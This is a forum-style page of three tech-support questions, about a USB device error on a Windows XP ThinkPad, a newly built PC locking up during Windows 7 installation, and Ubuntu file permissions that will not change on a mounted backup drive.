    I have just started getting a message that a USB device is not working properly. This is on a new Thinkpad T60 running Windows XP Professional SP3. I have had all devices attached for about 10 days or so. When I go to device manager there is no sign of a problem: everything is working correctly. I am unable to find out which device it is. I searched this forum but the only reference I found was to older computers which may not be Usb2 capable. This is not my problem. Any ideas? Thanks. EDIT: I realized I had a harddrive attached but turned off. Although I could not track down any error messages except the balloon that came up, I have disconnected it and, so far, no messages. We'll see over the next day or two, but this may be the problem. Thanks EDIT: This has not solved the problem. I get the message that one of the USB devices has malfunctioned and it points to "USB root hub (2 ports)" and shows an unused port and an unknown device. However, when I check my device manager, it says that there are no problems, everything is working as it should. ?? EDIT: I now found the event log view and there are 2 types of error messages. They do not relate to the time that I get the balloon. 2 of the 3 are "Ati2mtag" errors and the third is "System Control Manager". Are these related to my problem, and the balloon just pops up randomly? EDIT: well, I'm still having the problem, and have narrowed it down to a malfunctioning device. Thanks to all.

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  • Computer locking up, looking for bootable hardware diagnostic tool.

    - by Carl Menke
    Well today I helped my friend build a computer. All went pretty well until we got to installing Win7. Thing is, we thought, it was crashing constantly. I adjusted pretty much every setting in the BIOS and removed as much hardware as possible to try and prevent a crash. No dice. So far I've tried running an Ubuntu live cd without the harddrive installed. Nope, crashed on boot. And then I just tried Microsoft's ram utility disk and it eventually locked up on that (the ram passed though). So it seems to me like it's either the CPU (AMD PhenomII x3) or the motherboard that could be bad, but I don't know how to test them individually for problems. I thought it could be a overheating issue, but the BIOS reports that the CPU temp is fine idling around 34C. Any advice or diagnostic disk that could help me out? TL;DR: Computer locks up frequently during use (cannot even boot/install an operating system), memory is fine, probably CPU or Mobo, BIOS says CPU temps are fine. What should I try?

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  • Ubuntu Cannot change permissions on files I own and have RW to.

    - by madmaze
    Hello there, I have a harddrive full of backups which for me is mounted at /media/chronus_ I have been trying to give another user rw permission to this drive. The problem is that I cannot change any permissions on this drive, even if i make a new file it puts sets everything to -rw------- here is an excerpt of what i have tried: madmaze@the-gibson:~$ touch testfile madmaze@the-gibson:~$ ls -l testfile -rw-r--r-- 1 madmaze madmaze 0 2011-01-16 20:11 testfile madmaze@the-gibson:~$ chmod 777 testfile madmaze@the-gibson:~$ ls -l testfile -rwxrwxrwx 1 madmaze madmaze 0 2011-01-16 20:11 testfile madmaze@the-gibson:~$ cd /media/chronos_/Pix/ madmaze@the-gibson:/media/chronos_/Pix$ ls -l total 4100 -rw------- 1 madmaze madmaze 28226 2011-01-16 20:18 avp.jpg -rw------- 1 madmaze madmaze 5764 2011-01-16 20:18 avpsmall.jpg -rw------- 1 madmaze madmaze 98414 2011-01-16 20:18 john.jpg -rw------- 1 madmaze madmaze 98785 2011-01-16 20:18 lisa.jpg -rw------- 1 madmaze madmaze 3954281 2011-01-16 20:18 peter.jpg madmaze@the-gibson:/media/chronos_/Pix$ chmod 777 *.jpg madmaze@the-gibson:/media/chronos_/Pix$ ls -l total 4100 -rw------- 1 madmaze madmaze 28226 2011-01-16 20:18 avp.jpg -rw------- 1 madmaze madmaze 5764 2011-01-16 20:18 avpsmall.jpg -rw------- 1 madmaze madmaze 98414 2011-01-16 20:18 john.jpg -rw------- 1 madmaze madmaze 98785 2011-01-16 20:18 lisa.jpg -rw------- 1 madmaze madmaze 3954281 2011-01-16 20:18 peter.jpg madmaze@the-gibson:/media/chronos_/Pix$ sudo chmod 777 *.jpg madmaze@the-gibson:/media/chronos_/Pix$ ls -l total 4100 -rw------- 1 madmaze madmaze 28226 2011-01-16 20:18 avp.jpg -rw------- 1 madmaze madmaze 5764 2011-01-16 20:18 avpsmall.jpg -rw------- 1 madmaze madmaze 98414 2011-01-16 20:18 john.jpg -rw------- 1 madmaze madmaze 98785 2011-01-16 20:18 lisa.jpg -rw------- 1 madmaze madmaze 3954281 2011-01-16 20:18 peter.jpg madmaze@the-gibson:/media/chronos_/Pix$ touch testfile madmaze@the-gibson:/media/chronos_/Pix$ ls -l testfile -rw------- 1 madmaze madmaze 0 2011-01-16 20:25 testfile madmaze@the-gibson:/media/chronos_/Pix$ chmod 777 testfile madmaze@the-gibson:/media/chronos_/Pix$ ls -l testfile -rw------- 1 madmaze madmaze 0 2011-01-16 20:25 testfile madmaze@the-gibson:/media/chronos_/Pix$ Any Ideas what I could be doing wrongly?

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